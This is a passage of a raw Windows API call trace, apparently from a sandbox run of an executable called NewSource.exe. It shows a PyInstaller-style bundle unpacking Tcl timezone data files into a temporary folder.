dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.511] GetFileType (hFile=0x10c) returned 0x1 [0043.511] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.511] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.511] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.511] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.512] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.512] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.512] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.512] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.512] CloseHandle (hObject=0x10c) returned 1 [0043.512] GetLastError () returned 0x0 [0043.512] SetLastError (dwErrCode=0x0) [0043.512] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.512] GetFileType (hFile=0x10c) returned 0x1 [0043.512] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.512] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.512] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.512] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.512] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.512] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.512] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.512] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.512] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.512] CloseHandle (hObject=0x10c) returned 1 [0043.512] GetLastError () returned 0x0 [0043.512] SetLastError (dwErrCode=0x0) [0043.512] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.513] GetFileType (hFile=0x10c) returned 0x1 [0043.513] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.513] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.513] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.513] CloseHandle (hObject=0x10c) returned 1 [0043.513] GetLastError () returned 0x0 [0043.513] SetLastError (dwErrCode=0x0) [0043.513] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8") returned 69 [0043.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\pst8"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.513] GetLastError () returned 0x2 [0043.513] SetLastError (dwErrCode=0x2) [0043.513] GetLastError () returned 0x2 [0043.513] SetLastError (dwErrCode=0x2) [0043.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8", lpFilePart=0x0) returned 0x44 [0043.514] GetLastError () returned 0x2 [0043.514] SetLastError (dwErrCode=0x2) [0043.514] GetLastError () returned 0x2 [0043.514] SetLastError (dwErrCode=0x2) [0043.514] GetLastError () returned 0x2 [0043.514] SetLastError (dwErrCode=0x2) [0043.514] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8") returned 69 [0043.514] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\pst8"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.514] GetFileType (hFile=0x10c) returned 0x1 [0043.514] htonl (hostlong=0xbb000000) returned 0xbb [0043.514] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.514] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb, lpOverlapped=0x0) returned 1 [0043.515] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.515] CloseHandle (hObject=0x10c) returned 1 [0043.515] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d748 | out: hHeap=0x530000) returned 1 [0043.515] htonl (hostlong=0x30000000) returned 0x30 [0043.515] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.515] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.515] GetFileType (hFile=0x10c) returned 0x1 [0043.515] htonl (hostlong=0x75305d00) returned 0x5d3075 [0043.515] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e075, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.515] htonl (hostlong=0x97000000) returned 0x97 [0043.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x97) returned 0x55cfe0 [0043.516] htonl (hostlong=0x97000000) returned 0x97 [0043.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.516] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.516] htonl (hostlong=0xc7000000) returned 0xc7 [0043.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc7) returned 0x550600 [0043.516] htonl (hostlong=0x97000000) returned 0x97 [0043.516] htonl (hostlong=0xc7000000) returned 0xc7 [0043.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.516] CloseHandle (hObject=0x10c) returned 1 [0043.516] GetLastError () returned 0x0 [0043.516] SetLastError (dwErrCode=0x0) [0043.516] GetLastError () returned 0x0 [0043.516] SetLastError (dwErrCode=0x0) [0043.516] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.516] GetFileType (hFile=0x10c) returned 0x1 [0043.516] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.516] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.516] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.516] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.516] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.516] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.517] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.517] CloseHandle (hObject=0x10c) returned 1 [0043.517] GetLastError () returned 0x0 [0043.517] SetLastError (dwErrCode=0x0) [0043.517] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.517] GetFileType (hFile=0x10c) returned 0x1 [0043.517] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.517] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.517] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.517] CloseHandle (hObject=0x10c) returned 1 [0043.517] GetLastError () returned 0x0 [0043.517] SetLastError (dwErrCode=0x0) [0043.517] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.517] GetFileType (hFile=0x10c) returned 0x1 [0043.517] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.518] CloseHandle (hObject=0x10c) returned 1 [0043.518] GetLastError () returned 0x0 [0043.518] SetLastError (dwErrCode=0x0) [0043.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8PDT") returned 72 [0043.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8PDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\pst8pdt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.518] GetLastError () returned 0x2 [0043.518] SetLastError (dwErrCode=0x2) [0043.518] GetLastError () returned 0x2 [0043.518] SetLastError (dwErrCode=0x2) [0043.518] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8PDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8PDT", lpFilePart=0x0) returned 0x47 [0043.518] GetLastError () returned 0x2 [0043.518] SetLastError (dwErrCode=0x2) [0043.518] GetLastError () returned 0x2 [0043.518] SetLastError (dwErrCode=0x2) [0043.518] GetLastError () returned 0x2 [0043.518] SetLastError (dwErrCode=0x2) [0043.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8PDT") returned 72 [0043.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\PST8PDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\pst8pdt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.519] GetFileType (hFile=0x10c) returned 0x1 [0043.519] htonl (hostlong=0xc7000000) returned 0xc7 [0043.519] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.519] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc7, lpOverlapped=0x0) returned 1 [0043.520] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.520] CloseHandle (hObject=0x10c) returned 1 [0043.520] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.520] htonl (hostlong=0x30000000) returned 0x30 [0043.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.520] GetFileType (hFile=0x10c) returned 0x1 [0043.521] htonl (hostlong=0xc315d00) returned 0x5d310c [0043.521] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e10c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.521] htonl (hostlong=0x90000000) returned 0x90 [0043.521] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x55cfe0 [0043.521] htonl (hostlong=0x90000000) returned 0x90 [0043.521] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.521] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.521] htonl (hostlong=0xb8000000) returned 0xb8 [0043.521] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x5609b0 [0043.521] htonl (hostlong=0x90000000) returned 0x90 [0043.521] htonl (hostlong=0xb8000000) returned 0xb8 [0043.521] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.521] CloseHandle (hObject=0x10c) returned 1 [0043.521] GetLastError () returned 0x0 [0043.521] SetLastError (dwErrCode=0x0) [0043.521] GetLastError () returned 0x0 [0043.521] SetLastError (dwErrCode=0x0) [0043.521] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.521] GetFileType (hFile=0x10c) returned 0x1 [0043.521] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.521] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.521] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.521] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.521] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: 